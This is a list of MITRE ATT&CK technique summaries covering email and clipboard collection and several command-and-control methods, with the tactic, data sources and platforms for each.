Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre